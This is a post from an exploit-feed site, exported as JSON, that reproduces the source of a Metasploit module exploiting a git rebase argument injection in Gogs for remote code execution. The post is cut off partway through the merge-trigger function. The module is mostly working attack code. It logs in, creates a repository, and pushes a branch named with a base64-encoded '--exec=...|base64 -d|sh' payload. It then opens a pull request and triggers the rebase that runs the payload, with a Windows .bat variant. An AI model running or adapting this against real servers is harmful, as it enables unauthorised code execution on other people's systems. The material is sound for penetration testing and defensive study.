{"id":59556,"date":"2026-06-03T15:48:48","date_gmt":"2026-06-03T15:48:48","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59556"},"modified":"2026-06-03T15:48:48","modified_gmt":"2026-06-03T15:48:48","slug":"gogs-git-rebase-argument-injection-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59556","title":{"rendered":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-03T19:33:07&#8243;,&#8221;description&#8221;:&#8221;This module exploits an argument injection vulnerability in the pull request merge flow of Gogs is parsed by Git as the &#8211;exec flag rather than a positional argument, causing sh -c to run after each replayed commit during the rebase. Two exploitation&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-03T19:01:27&#8243;,&#8221;modified&#8221;:&#8221;2026-06-03T19:01:27&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Gogs Git Rebase Argument Injection RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n\\n  Rank = ExcellentRanking\\n\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Remote::HttpClient\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Gogs Git Rebase Argument Injection RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits an argument injection vulnerability in the\\n          pull request merge flow of Gogs (\\u003c= 0.14.2 and \\u003c= 0.15.0+dev).\\n\\n          The Merge() function in internal\/database\/pull.go passes the PR\\n          base branch name to `git rebase` without a `&#8211;` separator. A\\n          branch named `&#8211;exec=\\u003cCMD\\u003e` is parsed by Git as the &#8211;exec flag\\n          rather than a positional argument, causing `sh -c \\u003cCMD\\u003e` to run\\n          after each replayed commit during the rebase.\\n\\n          Two exploitation methods are supported:\\n\\n          &#8211; own_repo: The attacker creates a temporary repository, enables\\n          rebase merge, and operates entirely within their own account.\\n          Any authenticated user who can create repositories (the default)\\n          can exploit this with no interaction from other users required.\\n\\n          &#8211; existing_repo: The attacker exploits a repository they already\\n          have write and merge access to, where \\&#8221;Rebase before merging\\&#8221;\\n          is enabled (or the attacker has repo admin permissions to\\n          enable it). This path is useful on instances where repository\\n          creation is restricted.\\n\\n          Both methods use git to push divergent branches (including the\\n          malicious &#8211;exec= branch), open a pull request, and trigger a\\n          rebase merge to execute the payload. A local git installation\\n          is required.\\n\\n          On Unix targets, the payload is base64-encoded inline in\\n          the malicious branch name, avoiding the need to commit files\\n          to the repository. On Windows targets, the payload is\\n          delivered via a script file committed to the repository,\\n          since NTFS forbids pipe characters in filenames. Git for\\n          Windows uses MSYS2 sh for &#8211;exec commands, enabling\\n          cross-platform exploitation.\\n\\n          Note: a successful rebase merge may leave the server-side\\n          repository in a corrupted git state (mid-rebase). For\\n          own_repo this is inconsequential because the repository is\\n          deleted. For existing_repo this can break the target\\n          repository and prevent re-exploitation against the same repo.\\n\\n          The Gogs API does not support token deletion, so the API\\n          access token created during exploitation cannot be removed\\n          automatically and will persist under the attacker account.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Crypto-Cat&#8217;, # Vulnerability discovery and Metasploit module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          # [&#8216;CVE&#8217;, &#8221;],\\n          [&#8216;GHSA&#8217;, &#8216;qf6p-p7ww-cwr9&#8217;, &#8216;gogs\/gogs&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/ve-authenticated-rce-via-argument-injection-gogs-unfixed&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/gogs\/gogs&#8217;],\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-03-17&#8217;,\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],\\n        &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;, &#8216;unix&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;WGET&#8217;,\\n                &#8216;FETCH_WRITABLE_DIR&#8217; =\\u003e &#8216;\/tmp\/&#8217;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :win_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;CURL&#8217;\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 3000,\\n          &#8216;WfsDelay&#8217; =\\u003e 30\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS],\\n          # Not REPEATABLE_SESSION: existing_repo can corrupt the target\\n          # repo&#8217;s git state (mid-rebase), preventing re-exploitation.\\n          &#8216;Reliability&#8217; =\\u003e []\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Gogs username&#8217;, nil]),\\n      OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Gogs password&#8217;, nil]),\\n      OptEnum.new(&#8216;EXPLOIT_METHOD&#8217;, [\\n        true, &#8216;Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to&#8217;,\\n        &#8216;own_repo&#8217;, [&#8216;own_repo&#8217;, &#8216;existing_repo&#8217;]\\n      ]),\\n      OptString.new(&#8216;REPO_OWNER&#8217;, [false, &#8216;Owner of the target repository (required for existing_repo)&#8217;, nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),\\n      OptString.new(&#8216;REPO_NAME&#8217;, [false, &#8216;Name of the target repository (required for existing_repo)&#8217;, nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),\\n      OptBool.new(&#8216;ENABLE_REBASE&#8217;, [\\n        true, &#8216;Enable rebase merge in repository settings (existing_repo requires repo admin access)&#8217;, true\\n      ]),\\n    ])\\n\\n    @need_cleanup = false\\n  end\\n\\n  # Maps CSS\/JS commit hashes to Gogs release versions for fingerprinting.\\n  # The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages.\\n  COMMIT_TO_VERSION = {\\n    &#8216;5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb&#8217; =\\u003e &#8216;0.14.2&#8217;,\\n    &#8216;f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f&#8217; =\\u003e &#8216;0.14.1&#8217;,\\n    &#8217;36c26c4ccc3ca0339db53eb1fa41e4e86b55163d&#8217; =\\u003e &#8216;0.14.0&#8217;,\\n    &#8216;d958a47a0e9d8747e399c687fdb3ec64a3b1a736&#8217; =\\u003e &#8216;0.13.4&#8217;,\\n    &#8216;5084b4a9b77a506f5e287e82e945e1c6882b827a&#8217; =\\u003e &#8216;0.13.3&#8217;,\\n    &#8216;593c7b6db601c68d16b2fb9a7e1194cb816f5efb&#8217; =\\u003e &#8216;0.13.2&#8217;,\\n    &#8216;0c40e600a275d490481cfeea53705810fbe94d9b&#8217; =\\u003e &#8216;0.13.1&#8217;,\\n    &#8216;8c21874c00b6100d46b662f65baeb40647442f42&#8217; =\\u003e &#8216;0.13.0&#8217;,\\n    &#8216;c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b&#8217; =\\u003e &#8216;0.12.11&#8217;,\\n    &#8216;1ce5171ae170750298c150874e718740dd7ef69f&#8217; =\\u003e &#8216;0.12.10&#8217;,\\n    &#8216;012a1ba19ed2f8f5185be4254f655ba6c4b34db2&#8217; =\\u003e &#8216;0.12.9&#8217;,\\n    &#8216;7f8799c01f264eb7770766621fb68debee414b68&#8217; =\\u003e &#8216;0.12.8&#8217;,\\n    &#8216;d06ba7e527fcc462aecdb660ce001e87d94f024c&#8217; =\\u003e &#8216;0.12.7&#8217;,\\n    &#8216;26395294bdef382b577fd60234e5bb14f4090cc8&#8217; =\\u003e &#8216;0.12.6&#8217;\\n  }.freeze\\n\\n  def own_repo?\\n    datastore[&#8216;EXPLOIT_METHOD&#8217;] == &#8216;own_repo&#8217;\\n  end\\n\\n  def check\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path)\\n    )\\n    return CheckCode::Unknown(&#8216;Target did not respond.&#8217;) unless res\\n\\n    unless res.body.to_s.match(\/\\u003cmeta +name=\\&#8221;author\\&#8221; +content=\\&#8221;Gogs\\&#8221;\/)\\n      return CheckCode::Safe(&#8216;Target does not appear to be running Gogs.&#8217;)\\n    end\\n\\n    # Fingerprint via static asset commit hash (unauthenticated, all versions)\\n    version = nil\\n    hash_match = res.body.to_s.match(\/gogs\\\\.min\\\\.css\\\\?v=([a-f0-9]{40})\/)\\n    if hash_match\\n      version = COMMIT_TO_VERSION[hash_match[1]]\\n      vprint_status(\\&#8221;Unknown Gogs commit hash: #{hash_match[1]}\\&#8221;) unless version\\n    end\\n\\n    service_info = version ? \\&#8221;Gogs Git Service #{version}\\&#8221; : &#8216;Gogs Git Service&#8217;\\n    report_gogs_service(service_info)\\n\\n    if version\\n      ver = Rex::Version.new(version)\\n      # NOTE: No fix exists yet. We assume a future version \\u003e 0.14.2 will\\n      # include a patch. If the next release (e.g. 0.14.3) is still\\n      # vulnerable, update this threshold accordingly.\\n      if ver \\u003c= Rex::Version.new(&#8216;0.14.2&#8217;)\\n        return CheckCode::Appears(\\&#8221;Gogs #{version} detected.\\&#8221;)\\n      else\\n        return CheckCode::Safe(\\&#8221;Gogs #{version} detected.\\&#8221;)\\n      end\\n    end\\n\\n    CheckCode::Detected(&#8216;Gogs detected, but could not determine version.&#8217;)\\n  end\\n\\n  def exploit\\n    fail_with(Failure::BadConfig, &#8216;Local git installation required but not found&#8217;) unless git_available?\\n\\n    unless own_repo?\\n      fail_with(Failure::BadConfig, &#8216;REPO_OWNER is required when EXPLOIT_METHOD is existing_repo&#8217;) if datastore[&#8216;REPO_OWNER&#8217;].blank?\\n      fail_with(Failure::BadConfig, &#8216;REPO_NAME is required when EXPLOIT_METHOD is existing_repo&#8217;) if datastore[&#8216;REPO_NAME&#8217;].blank?\\n    end\\n\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n\\n    # Authenticate (API token first, before web login adds session cookies)\\n    print_status(\\&#8221;Authenticating as \\\\\\&#8221;#{datastore[&#8216;USERNAME&#8217;]}\\\\\\&#8221;\\&#8221;)\\n    create_api_token\\n    gogs_login\\n    print_good(&#8216;Authenticated&#8217;)\\n\\n    if own_repo?\\n      @repo_name = \\&#8221;#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_alpha_lower(4)}\\&#8221;\\n      @repo_path = \\&#8221;#{datastore[&#8216;USERNAME&#8217;]}\/#{@repo_name}\\&#8221;\\n      print_status(\\&#8221;Creating repository \\\\\\&#8221;#{@repo_name}\\\\\\&#8221;\\&#8221;)\\n      create_repo\\n      @need_cleanup = true\\n      print_good(&#8216;Repository created&#8217;)\\n\\n      print_status(&#8216;Enabling rebase merge in repository settings&#8217;)\\n      enable_rebase_merge\\n      print_good(&#8216;Rebase merge enabled&#8217;)\\n    else\\n      @repo_name = datastore[&#8216;REPO_NAME&#8217;]\\n      @repo_path = \\&#8221;#{datastore[&#8216;REPO_OWNER&#8217;]}\/#{@repo_name}\\&#8221;\\n      print_status(\\&#8221;Using existing repository \\\\\\&#8221;#{@repo_path}\\\\\\&#8221;\\&#8221;)\\n      validate_existing_repo\\n      @need_cleanup = true\\n\\n      if datastore[&#8216;ENABLE_REBASE&#8217;]\\n        try_enable_rebase\\n      else\\n        print_status(&#8216;Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)&#8217;)\\n      end\\n    end\\n\\n    case target[&#8216;Type&#8217;]\\n    when :unix_cmd\\n      # Base64-encode the payload inline in the branch name. Pipes are\\n      # valid in Linux\/macOS refs but forbidden on NTFS, so this is\\n      # Unix-only. No script file needs to be committed to the repo.\\n      wrapped = \\&#8221;(#{payload.encoded}) \\u003c\/dev\/null \\u003e\/dev\/null 2\\u003e\\u00261 \\u0026\\&#8221;\\n      b64 = Rex::Text.encode_base64(wrapped)\\n      # Git ref names forbid &#8216;\/\/&#8217;; re-pad with leading spaces until safe\\n      padding = 0\\n      while b64.include?(&#8216;\/\/&#8217;) \\u0026\\u0026 padding \\u003c 50\\n        padding += 1\\n        b64 = Rex::Text.encode_base64(&#8216; &#8216; * padding + wrapped)\\n      end\\n      @malicious_branch = \\&#8221;&#8211;exec=echo${IFS}#{b64}|base64${IFS}-d|sh\\&#8221;\\n\\n    when :win_cmd\\n      # NTFS forbids | in filenames so we can&#8217;t use the base64|sh\\n      # approach. Instead, commit a script file to the repo.\\n      # MSYS2 sh mangles $, \\u0026 etc. so write the payload to a .bat and\\n      # have the sh wrapper invoke cmd.exe instead.\\n      rand_name = Rex::Text.rand_text_alpha_lower(6)\\n      @payload_content = payload.encoded\\n      @payload_file = \\&#8221;.#{rand_name}\\&#8221;\\n      @bat_file = \\&#8221;.#{rand_name}.bat\\&#8221;\\n      @malicious_branch = \\&#8221;&#8211;exec=sh${IFS}#{@payload_file}\\&#8221;\\n    end\\n\\n    print_status(&#8216;Pushing branches via git&#8217;)\\n    setup_branches_via_git\\n    print_good(&#8216;Branches pushed&#8217;)\\n\\n    print_status(&#8216;Creating pull request&#8217;)\\n    @pr_number = create_pull_request\\n    print_good(\\&#8221;PR ##{@pr_number} created\\&#8221;)\\n\\n    print_status(&#8216;Triggering rebase merge&#8217;)\\n    trigger_rebase_merge\\n    report_vuln(\\n      host: rhost,\\n      port: rport,\\n      proto: &#8216;tcp&#8217;,\\n      name: name,\\n      info: \\&#8221;Exploited via #{datastore[&#8216;EXPLOIT_METHOD&#8217;]} method\\&#8221;,\\n      refs: references,\\n      service: report_gogs_service(&#8216;Gogs Git Service&#8217;)\\n    )\\n    print_good(&#8216;Rebase merge triggered, waiting for shell&#8230;&#8217;)\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # Authentication\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def gogs_login\\n    res = http_post_request(\\n      &#8216;\/user\/login&#8217;,\\n      user_name: datastore[&#8216;USERNAME&#8217;],\\n      password: datastore[&#8216;PASSWORD&#8217;]\\n    )\\n    fail_with(Failure::Unreachable, &#8216;Login page unreachable&#8217;) unless res\\n    fail_with(Failure::NoAccess, &#8216;Login failed &#8211; check credentials&#8217;) unless res.code == 302\\n  end\\n\\n  def create_api_token\\n    preflight = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;v1&#8217;)\\n    )\\n    fail_with(Failure::Unreachable, &#8216;Gogs API not responding&#8217;) unless preflight\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;v1&#8217;, &#8216;users&#8217;, datastore[&#8216;USERNAME&#8217;], &#8216;tokens&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e basic_auth(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;]) },\\n      &#8216;data&#8217; =\\u003e { name: \\&#8221;msf_#{Rex::Text.rand_text_alpha_lower(8)}\\&#8221; }.to_json\\n    )\\n    fail_with(Failure::UnexpectedReply, \\&#8221;API token creation failed (HTTP #{res\\u0026.code})\\&#8221;) unless res\\u0026.code == 201\\n\\n    @api_token = res.get_json_document[&#8216;sha1&#8217;]\\n    vprint_good(\\&#8221;API token: #{@api_token}\\&#8221;)\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # Repository setup\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def create_repo\\n    res = api_request(\\n      &#8216;POST&#8217;,\\n      &#8216;\/api\/v1\/user\/repos&#8217;,\\n      { name: @repo_name, private: true, default_branch: &#8216;master&#8217; }.to_json\\n    )\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Repo creation failed: #{res\\u0026.code}\\&#8221;) unless res\\u0026.code == 201\\n  end\\n\\n  def enable_rebase_merge\\n    res = http_post_request(\\n      \\&#8221;\/#{@repo_path}\/settings\\&#8221;,\\n      action: &#8216;advanced&#8217;,\\n      enable_pulls: &#8216;on&#8217;,\\n      pulls_allow_rebase: &#8216;on&#8217;\\n    )\\n    fail_with(Failure::Unreachable, &#8216;Settings page unreachable&#8217;) unless res\\n    fail_with(Failure::UnexpectedReply, &#8216;Failed to enable rebase merge&#8217;) unless [200, 302].include?(res.code)\\n  end\\n\\n  def validate_existing_repo\\n    res = api_request(&#8216;GET&#8217;, \\&#8221;\/api\/v1\/repos\/#{@repo_path}\\&#8221;)\\n    fail_with(Failure::BadConfig, \\&#8221;Repository #{@repo_path} not found or not accessible\\&#8221;) unless res\\u0026.code == 200\\n\\n    repo_info = res.get_json_document\\n    db = repo_info[&#8216;default_branch&#8217;].to_s\\n    @default_branch = db.empty? ? &#8216;master&#8217; : db\\n    vprint_status(\\&#8221;Default branch: #{@default_branch}\\&#8221;)\\n    print_good(\\&#8221;Repository #{@repo_path} confirmed accessible\\&#8221;)\\n  end\\n\\n  def try_enable_rebase\\n    print_status(&#8216;Attempting to enable rebase merge in repository settings&#8217;)\\n    settings_uri = normalize_uri(target_uri.path, @repo_path, &#8216;settings&#8217;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e settings_uri,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n\\n    unless res \\u0026\\u0026 res.code == 200\\n      print_warning(&#8216;Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.&#8217;)\\n      return\\n    end\\n\\n    doc = res.get_html_document\\n    csrf = doc.at_xpath(\\&#8221;\/\/input[@name=&#8217;_csrf&#8217;]\/@value\\&#8221;)\\u0026.text\\n    unless csrf\\n      print_warning(&#8216;Could not extract CSRF from settings page. Ensure rebase merge is already enabled.&#8217;)\\n      return\\n    end\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e settings_uri,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;_csrf&#8217; =\\u003e csrf,\\n        &#8216;action&#8217; =\\u003e &#8216;advanced&#8217;,\\n        &#8216;enable_pulls&#8217; =\\u003e &#8216;on&#8217;,\\n        &#8216;pulls_allow_rebase&#8217; =\\u003e &#8216;on&#8217;\\n      }\\n    )\\n\\n    if res \\u0026\\u0026 [200, 302].include?(res.code)\\n      print_good(&#8216;Rebase merge enabled&#8217;)\\n    else\\n      print_warning(&#8216;Could not enable rebase merge. Ensure it is already enabled.&#8217;)\\n    end\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # Branch setup via local git\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def setup_branches_via_git\\n    @tmpdir = Dir.mktmpdir(&#8216;msf_gogs_&#8217;)\\n    workdir = File.join(@tmpdir, &#8216;work&#8217;)\\n    clone_url = build_clone_url\\n\\n    if own_repo?\\n      run_git!([&#8216;init&#8217;, workdir])\\n      run_git!([&#8216;remote&#8217;, &#8216;add&#8217;, &#8216;origin&#8217;, clone_url], workdir)\\n    else\\n      run_git!([&#8216;clone&#8217;, clone_url, workdir])\\n    end\\n\\n    run_git!([&#8216;config&#8217;, &#8216;user.email&#8217;, Faker::Internet.email], workdir)\\n    run_git!([&#8216;config&#8217;, &#8216;user.name&#8217;, Faker::Internet.username], workdir)\\n\\n    if own_repo?\\n      File.write(File.join(workdir, &#8216;README.md&#8217;), \\&#8221;# #{@repo_name}\\\\n\\&#8221;)\\n      run_git!([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n      run_git!([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;init&#8217;], workdir)\\n      run_git!([&#8216;push&#8217;, &#8216;-u&#8217;, &#8216;origin&#8217;, &#8216;master&#8217;], workdir)\\n    end\\n\\n    @feature_branch = \\&#8221;feature-#{Rex::Text.rand_text_alpha_lower(6)}\\&#8221;\\n    run_git!([&#8216;checkout&#8217;, &#8216;-b&#8217;, @feature_branch], workdir)\\n    File.write(File.join(workdir, &#8216;feature.txt&#8217;), Rex::Text.rand_text_alpha(8))\\n    run_git!([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n    run_git!([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;feature&#8217;], workdir)\\n    run_git!([&#8216;push&#8217;, &#8216;origin&#8217;, @feature_branch], workdir)\\n\\n    # Create a divergent commit to force a rebase. For existing_repo, use\\n    # the repo&#8217;s default branch. Never push directly to the base branch.\\n    base_branch = own_repo? ? &#8216;master&#8217; : (@default_branch || &#8216;master&#8217;)\\n    run_git!([&#8216;checkout&#8217;, base_branch], workdir)\\n    File.write(File.join(workdir, &#8216;diverge.txt&#8217;), Rex::Text.rand_text_alpha(8))\\n\\n    # Write payload script files for Windows targets. Linux uses\\n    # base64-encoded payload inline in the branch name instead.\\n    if @bat_file\\n      # sh wrapper -\\u003e cmd.exe -\\u003e .bat (\/\/c prevents MSYS2 path conversion)\\n      File.write(File.join(workdir, @payload_file), \\&#8221;cmd.exe \/\/c #{@bat_file} \\u003c\/dev\/null \\u003e\/dev\/null 2\\u003e\\u00261 \\u0026\\\\n\\&#8221;)\\n      File.write(File.join(workdir, @bat_file), @payload_content + \\&#8221;\\\\n\\&#8221;)\\n    end\\n\\n    run_git!([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n    run_git!([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;diverge&#8217;], workdir)\\n\\n    # Push malicious branch via refspec (bypasses checkout -b validation).\\n    # Don&#8217;t push to the base branch itself (especially for existing_repo).\\n    run_git!([&#8216;push&#8217;, &#8216;origin&#8217;, \\&#8221;HEAD:refs\/heads\/#{@malicious_branch}\\&#8221;], workdir)\\n    vprint_good(\\&#8221;Malicious branch: #{@malicious_branch}\\&#8221;)\\n\\n    vprint_good(\\&#8221;Feature branch: #{@feature_branch}\\&#8221;)\\n  end\\n\\n  def build_clone_url\\n    user_enc = Rex::Text.uri_encode(datastore[&#8216;USERNAME&#8217;])\\n    pass_enc = Rex::Text.uri_encode(datastore[&#8216;PASSWORD&#8217;])\\n    scheme = datastore[&#8216;SSL&#8217;] ? &#8216;https&#8217; : &#8216;http&#8217;\\n    authority = Rex::Socket.to_authority(rhost, rport)\\n    \\&#8221;#{scheme}:\/\/#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git\\&#8221;\\n  end\\n\\n  def git_available?\\n    _out, _err, status = Open3.capture3(&#8216;git&#8217;, &#8216;&#8211;version&#8217;)\\n    status.success?\\n  rescue Errno::ENOENT\\n    false\\n  end\\n\\n  def run_git!(args, cwd = nil)\\n    env = { &#8216;GIT_TERMINAL_PROMPT&#8217; =\\u003e &#8216;0&#8217; }\\n    opts = {}\\n    opts[:chdir] = cwd if cwd\\n    stdout, stderr, status = Open3.capture3(env, &#8216;git&#8217;, *args, **opts)\\n    unless status.success?\\n      fail_with(Failure::Unknown, \\&#8221;Git #{args.first} failed: #{stderr.strip}\\&#8221;)\\n    end\\n    stdout\\n  end\\n\\n  # Non-fatal variant for cleanup operations where failure is acceptable\\n  def run_git_safe(args, cwd = nil)\\n    env = { &#8216;GIT_TERMINAL_PROMPT&#8217; =\\u003e &#8216;0&#8217; }\\n    opts = {}\\n    opts[:chdir] = cwd if cwd\\n    _stdout, stderr, status = Open3.capture3(env, &#8216;git&#8217;, *args, **opts)\\n    unless status.success?\\n      vprint_warning(\\&#8221;Git #{args.first} failed: #{stderr.strip}\\&#8221;)\\n      return false\\n    end\\n    true\\n  rescue StandardError =\\u003e e\\n    vprint_warning(\\&#8221;Git #{args.first} error: #{e.message}\\&#8221;)\\n    false\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # Pull request and merge\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def create_pull_request\\n    encoded_branch = Rex::Text.uri_encode(@malicious_branch)\\n    compare_uri = \\&#8221;\/#{@repo_path}\/compare\/#{encoded_branch}&#8230;#{@feature_branch}\\&#8221;\\n\\n    res = http_post_request(\\n      compare_uri,\\n      title: Rex::Text.rand_text_alpha(6),\\n      content: &#8221;,\\n      assignee_id: &#8216;0&#8217;,\\n      milestone_id: &#8216;0&#8217;\\n    )\\n    fail_with(Failure::Unreachable, &#8216;Compare page unreachable&#8217;) unless res\\n\\n    if [302, 303].include?(res.code)\\n      location = res.headers[&#8216;Location&#8217;].to_s\\n      pr_num = location.chomp(&#8216;\/&#8217;).split(&#8216;\/&#8217;).last\\n      return pr_num if pr_num =~ \/^\\\\d+$\/\\n    end\\n\\n    # Fallback: find PR via API\\n    res = api_request(&#8216;GET&#8217;, \\&#8221;\/api\/v1\/repos\/#{@repo_path}\/pulls?state=open\\&#8221;)\\n    if res\\u0026.code == 200\\n      pulls = res.get_json_document\\n      return pulls.last[&#8216;number&#8217;].to_s unless pulls.empty?\\n    end\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;PR creation failed&#8217;)\\n  end\\n\\n  def trigger_rebase_merge\\n    merge_uri = \\&#8221;\/#{@repo_path}\/pulls\/#{@pr_number}\/merge\\&#8221;\\n\\n    pr_uri = \\&#8221;\/#{@repo_path}\/pulls\/#{@pr_number}\\&#8221;\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, pr_uri),\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n    csrf = extract_csrf(res)\\n\\n    send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, merge_uri),\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;merge_style&#8217; =\\u003e &#8216;rebase_before_merging&#8217; },\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;_csrf&#8217; =\\u003e csrf,\\n        